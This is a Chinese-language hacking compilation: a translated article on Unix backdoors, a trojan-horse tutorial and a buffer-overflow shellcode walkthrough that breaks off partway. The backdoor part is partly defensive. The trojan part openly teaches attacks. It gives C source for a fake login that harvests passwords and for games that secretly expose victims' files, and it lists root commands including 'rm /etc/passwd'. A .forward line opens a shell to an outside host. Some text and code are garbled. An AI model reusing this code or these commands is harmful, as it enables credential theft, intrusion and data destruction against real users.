摘要:本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 后门 声明:此文为翻译文章,QiangGe只做了一些修改,并加入了一些自己的心得及自己所写的程序. 译者 iamtheguest 从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法. 大多数入侵者的后门实现以下二到三个目的: 即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下,一台机器的脆弱性是它唯一未被注意的后门. 密码破解后门 这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号. Rhosts + + 后门 在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现. 校验和及时间戳后门 早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过. Login后门 在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的. Telnetd后门 当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产生一个shell . 服务后门 几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, FTP, 甚至inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□?UCp这样不用的服务,或者被加入inetd.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验. Cronjob后门 Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门. 库后门 几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种 办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过 MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行. 静态连接程序不会使用trojan共享库. 内核后门 内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广. 文件系统后门 入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括eXPloit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分, 且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在. Boot块后门 在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区. 隐匿进程后门 入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门 例子是amod.tar.gz : http://star.niimm.spb.su/~maillist/bugtraq.1/0777.Html 也可以修改内核隐匿进程. Rootkit 最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件: z2 - removes entries from utmp, wtmp, and lastlog. Es - rokstar's ethernet sniffer for sun4 based kernels. Fix - try to fake checksums, install with same dates/perms/u/g. Sl - become root via a magic passWord sent to login. Ic - modified ifconfig to remove PROMISC flag from output. ps: - hides the processes. Ns - modified netstat to hide connections to certain machines. Ls - hides certain Directories and files from being listed. du5 - hides how much space is being used on your hard drive. ls5 - hides certain files and directories from being listed. 网络通行后门 入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文. TCP Shell 后门 入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的. UDP Shell 后门 管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙. ICMP Shell 后门 Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露. 加密连接 管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了. Windows NT 由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :( 解决 当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀. 评估 首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性. MD5基准线 一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净 系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立. 入侵检测 随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话. 从CD-ROM启动 一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的. 警告 由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力! ( Be aware that no defense is foolproof, and that there is no substitute for diligent attention. 此句该如何翻译? :( ) you may want to add: .forward Backdoor On Unix machines, placing commands into the .forward file was also a common method of regaining Access. For the account ``username'' a .forward file might be constructed as follows: username "/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" permutations of this method include alteration of the systems mail aliases file (most commonly located at /etc/aliases). Note that this is a simple permutation, the more advanced can run a simple script from the forward file that can take arbitrary commands via stdin (after minor preprocessing). PS: The above method is also useful gaining access a companies mailhub (assuming there is a shared a home directory FS on the client and server). > Using smrsh can effectively negate this backdoor (although it's quite > possibly still a problem if you allow things like elm's filter or > procmail which can run programs themselves...). 你也许要增加: .forward后门 Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下: username "/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh" 这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后). >利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail>类程序, 很有可能还有问题 ......) ( 此段的内容理解不深, 故付上英文, 请指教! ) 你也许能用这个"特性"做后门: 当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利. 例子: rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh 在Linux里,这将把用户rmartin的uid设为0. Hack技巧-使用Trogan Horses UNIX 的特洛伊木马 Martin 翻译 序言 "UNIX 安全" 是一种矛盾修饰法.它是一种能被暴力攻击法轻易攻破的系统.(大多数UNIX系统不会因为多次错误的登录而挂起,而且它还有许多缺省的登录名如root,bin,sys,uccp等.)一旦你登录到系统,你就能轻易降服它,如果你会一点C语言,你就能 让系统为你工作,并能完全避开系统的安全障碍建立你自己的登录,阅读任何人的文档,等. 本文将提供一些这方面的C的源码以供大家实践. 配置要求 你需要一个UNIX系统的有效帐号.为获得最好效果,最好使用工作在真正机子(一台PDP/11,VAX,Pyramid,等)上的完全的UNIX版本(如 4.2bsd or AT&T System V).如果你能在学校的系统中获得一个帐号那是再好不过了. 注意 本文受到86年4月的 issue of BYTE 中的一篇名叫"Making UNIX Secure."文章的启发而写的.在那篇文章中作者称"我们希望所提供的资料是有趣的但又不会成为'破坏者的菜谱'.我们常有意删除一些细节" 我根据此文的总体纲要,给出了基于他们所提到的方法的例子. 步骤一:获得口令 你所需要的技巧仅仅是一些最基本的UNIX及C语言的常识.不过,你得有能使用的终端如学校里计算中心里的. 当你向一个典型的UNIX系统登录时,你能看到如下这些: Tiburon Systems 4.2bsd / System V (shark) login: shark Password: (并不显示) 我提供的程序能模拟一个登录过程.你在终端上运行这程序,然后离开.那些不知情的家伙如果来登录,他们的登录信息就会被保存成文档,并且屏幕上会显示"login incorrect" 那些家伙会被要求再登录一次.第二次是真正的登录,这时候他们都成功了.显然那些家伙并不聪明. 在系统上将下列源码生成文件'horse.c'. 因为系统有不同的版本,你可能需要修改前8行. ----- Code Begins Here ----- /* this is what a 'C' comment looks like. You can leave them out. */ /* #define's are like macros you can use for configuration. */ #define SYSTEM " Tiburon Systems 4.2bsd UNIX (shark) " /* The above string should be made to look like the message that your * system prints when ready. Each represents a carriage return. */ #define LOGIN "login: " /* The above is the login prompt. You shouldn't have to change it * unless you're running some strange version of UNIX. */ #define PASSWORD "password:" /* The above is the password prompt. You shouldn't have to change * it, either. */ #define WAIT 2 /* The numerical value assigned to WAIT is the delay you get after * "password:" and before "login incorrect." Change it (0 = almost * no delay, 5 = LONG delay) so it looks like your system's delay. * realism is the key here - we don't want our target to become * suspicious. */ #define INCORRECT "Login incorrect. " /* Change the above so it is what your system says when an incorrect * login is given.You shouldn't have to change it. */ #define FILENAME "stuff" /* FILENAME is the name of the file that the hacked passwords will * be put into automatically. 'stuff' is a perfectly good name. */ /* Don't change the rest of the program unless there is a need to * and you know 'C'. */ #include #include int stop(); main() {char name[10], password[10]; int i; FILE *fp, *fopen(); signal(SIGINT,stop); initscr(); printf(SYSTEM); printf(LOGIN); scanf("%[^ ]",name); getchar(); noecho(); printf(PASSWORD); scanf("%[^ ]",password); printf(" "); getchar(); echo(); sleep(WAIT); if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { #fprintf(fp,"login %s has password %s ",name,password); #fclose(fp); #} printf(INCORRECT); endwin(); } stop() { endwin(); exit(0); } ----- Source Ends Here ----- 好了,完成上述工作并调试,使得它看上去就象你的系统的登录过程.用下列两行来 编译'horse.c': (不要打' %'s, 那是一种提示符) % cc horse.c -lcurses -ltermcap % mv a.out horse 现在你有了这个能工作的horse程序. 运行一下,如果它看上去不象系统的登录过程,你得 重新编辑horse.c并重新编译.当你准备好运行该程序时,你应先建立一个新文件如'trap'或其它名字. 'trap' 应包含下列两行命令: horse (这条运行你的程序) login (这条运行真正的登录程序) 执行 'trap' 输入: % source trap (不要打 %) 然后你就可以离开终端,等待... 等你运行这程序几次后,检查一下文档'stuff'(或其他你所指定的文档).它看上去是这样: user john has password secret user mary has password smegmaetc. 记录口令,并删除该文档(如果系统管理员看到,那就大事不妙). 注意 - 为取得最好效果,终端应设置成无用户暂停模式--这样一来你的horse程序才不会空转在连续几小时无人使用的终端上. 下一个步骤是如何运作在远程系统上,如你以侵入的Michigan的VAX,或Dartmouth的UNIX系统或其他的系统. 不过这需要一些'C'语言的知识.那些并不适合UNIX的初学者. 步骤二:阅读任何人的文档 当你运行程序,这其实是一个建立运作并让那程序干它所能干的事,如删除你指定目录下的文档或建立一个有效的能让任何人阅读的文档. 当人们在UNIX系统上保存以阅读的邮件,邮件以文档的形式被保存在他们的主目录下的 mbox 这些文档通常阅读起来很有意思,但通常只是文档的所有者能阅读并非所有人都有这权利.这里有一个小程序能解开(也就是说 chmod 777, 或让系统上的任何人都能读,写,执行)那个运行此程序的人的 mbox 中的文档: ----- Code Begins Here ----- #include
struct passwd *getpwnam(name); struct passwd *p; char buf[255]; main() { p = getpwnam(getlogin()); sprintf(buf,"%s/%s",p->pw_dir,"mbox"); if ( access(buf,0) > -1 ) { sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); system(buf); } } ----- Code Ends Here ----- 问题在于如何让我的目标运行在我的目录下的这个程序? 如果你所在的系统有public-messages (在4.xbsd的系统上, 输入'msgs')你就能在那儿发表你的程序.将上述代码写入另一个程序中,找一个有用的或一个游戏程序(通常能在 UNIX WORLD 一类杂志中找到),修该它们,使它们能先完成上述任务然后再完成本来任务.如果你有一个叫tic-tac-toe的程序并且你已经修改了它,让它来解开用户的mbox中的文档在让他们运行tic-tac-toe之前,你得宣扬 "我有一个新的tic-tac-toe程序,你们都该试试.它就在我的目录下."或者别的什么的.如果你不想通过公共通告告诉所有人,那么就通过邮件发给那些你想捕捉的人. 如果你不能找到一个真正的程序来修改,就用上面的程序并在两个'}'之间加这么一行,在程序的末尾加上: printf("Error opening tic-tac-toe data file. Sorry! "); 当该程序运行时,它就会显示上面那条错误的信息. 用户会想"嘿,那家伙连一个 简单的 tic-tac-toe 程序都不会写."其实真正被捉弄的人是他自己,你现在能阅读他的邮件了. 如果在用户的目录下有一个指定的文件想看 (比如叫 "secret"),你只要把下面的程序一起发给用户: main() { if ( access("secret",0) > -1 ) system("chmod 777 secret"); } 然后表现得象 Joe Loser并告诉他: "我写了一个叫'超级星球大战'的程序,你想 试试吗?" 你应该充分发挥你的想象力.想出一些指令让那些人执行,并把它们以C语言程序的形式放在系统中.然后引诱那些人来运行你的程序. 这儿有个非常巧妙地利用上述技巧的方法: 步骤三:成为超级用户 写一个程序让别人运行.在程序中加入这行: if ( !strcmp(getlogin(),"root") ) system("whatever you want"); 这是为检查root是否在运行你的程序. 如果是,你就能让他执行任何你想执行的shell命令 你能让他执行下列命令: "chmod 666 /etc/passwd" /etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常所有的用户都能读它(口令已被编码), 但是只有 root 能改写它.如果你以前没有看过,你得好好看看它的格式. 这条命令能让你往该文档中写东西. 也就是说为你和你的朋友建立不受限制的帐户. "chmod 666 /etc/group" 通过把你加入到高权限的组中, 你能留很多后门. "chmod 666 /usr/lib/uucp/L.sys" 如果在uucp网上,找一下系统中的着个文档. 它包含有连到网上其他系统的拨号联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让你解开该文档的程序. "rm /etc/passwd" 如果你能取得 root 的权限,运行着条命令, 系统的passwd 文档就会被移走,系统会被停下而且在短期内不能恢复.这样做回造成巨大的损失. 如果你准备将特洛伊木马程序添加到你的系统中,你应遵守几条规则.如果是为了不可告人的目的(如解开用户的mbox或删除他的所有文件或其他什么的) 这个程序不可能是一个能让别人运行多次的程序,因为一旦人们发现他们的文件都已公开,问题的根源就很容易被发现.如果是以一个'测试'程序为目的(如你正在写的一个游戏程序),你能通过邮件要求不同的人来运行或和他们讨论.正如我所说,这个'测试'程序当完成任务时能显示假的错误信息,你就可以告诉那人"唔,我想它应改进", 等到他们离开,你就能读任何你解开的文档了.如果你的特洛伊木马程序只是为用来找到特殊的用户,如root或其他的拥有很高权限的用户,你可以将代码加入到系统中那些用户使用频率比较高的程序中. 你的修改会潜伏着直到他运行那程序. 如果你不能找到能让你'星际旅行'的源程序或其他的C语言程序,你只要学了C语言并从pascal中变换过一些来. 学习C语言并没有什么损失,因为它是一种非常了不起的语言.我们已经看到它能在UNIX系统上所能干的.一旦你抓到 root (也就是说你已经可以修改 /etc/passwd 文档) 从你的特洛伊木马程序中删除伪造用的代码,这样一来你就永远不会被抓了. 返回黑客天书 Buffer Overflow 机理剖析 使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析. 本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节: 关于堆栈的基础知识 Buffer Overflow 的原理 Shell Code 的编写 实际运用中遇到的问题 附录 1. 关于堆栈的基础知识 一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 , 数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量. 下面我们将详细介绍一下堆栈段. |--------| 虚存低端 | | | 代码段 | | | |--------| | | | 数据段 | | | |--------| | | | 堆栈段 | | | |--------| 虚存高端 堆栈是什么? 如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈. 堆栈段的作用是什么? 现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递). 我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame). 栈帧的结构: 下面我们通过一个简单的例子来分析一下栈帧的结构. void proc(int i) { int local; local=i; } void main() { proc(1); } 这段代码经过编译器后编译为:(以PC为例) main:push 1 call proc ... proc:push ebp mov ebp,esp sub esp,4 mov eax,[ebp+08] mov [ebp-4],eax add esp,4 pop ebp ret 4 下面我们分析一下这段代码. main:push 1 call proc 首先, 将调用要用到的参数1压入堆栈,然后call proc proc:push ebp mov ebp,esp 我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了. sub esp,4 将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存取 mov eax,[ebp+08] mov [ebp-4],eax 就是 local=i; add esp,4 pop ebp ret 4 首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间. 不难看出,这个程序在执行proc过程时,栈帧的结构如下: 4 4 4 4 [local] [ebp] [ret地址] [参数1] 内存高端 esp(栈顶)ebp 因此,我们可以总结出一般栈帧的结构: ..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n] esp(栈顶) ebp 了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了. 2. Buffer Overflow 的机理 我们先举一个例子说明一下什么是 Buffer Overflow : void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } 这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样? 首先我们看一下未执行strcpy时堆栈中的情况: 16 4 4 4 ...[buffer] [ebp] [ret地址] [large_string地址] esp ebp 当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation. 从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code. 下面我们就来看一下如何编写Shell Code. 3. Shell Code 的编写 下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明) void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } 我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.) [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. 下面我们来首先来分析一下main代码中每条语句的作用: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为: char *name[2]; 也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 : name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) 将NULL放入name[1]的内存单元中, 也就是相当于: name[1] = NULL; 对execve()的调用从下面开始: 0x8000144 : pushl $0x0 开始将参数以逆序压入堆栈, 第一个是NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 将name[]的起始地址压入堆栈 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 将字符串"/bin/sh"的地址压入堆栈 0x800014e : call 0x80002bc <__execve> 调用execve() . call 指令首先将 EIP 压入堆栈 现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈. 我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的. 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 同样的入口处理 0x80002c0 <__execve+4>: movl $0xb,%eax 将0xb(11)赋给eax , 这是execve()在系统中的索引号. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 将字符串"/bin/sh"的地址赋给ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 将name[]的地址赋给ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 将NULL的地址赋给edx 0x80002ce <__execve+18>: int $0x80 产生系统调用,进入核心态运行. 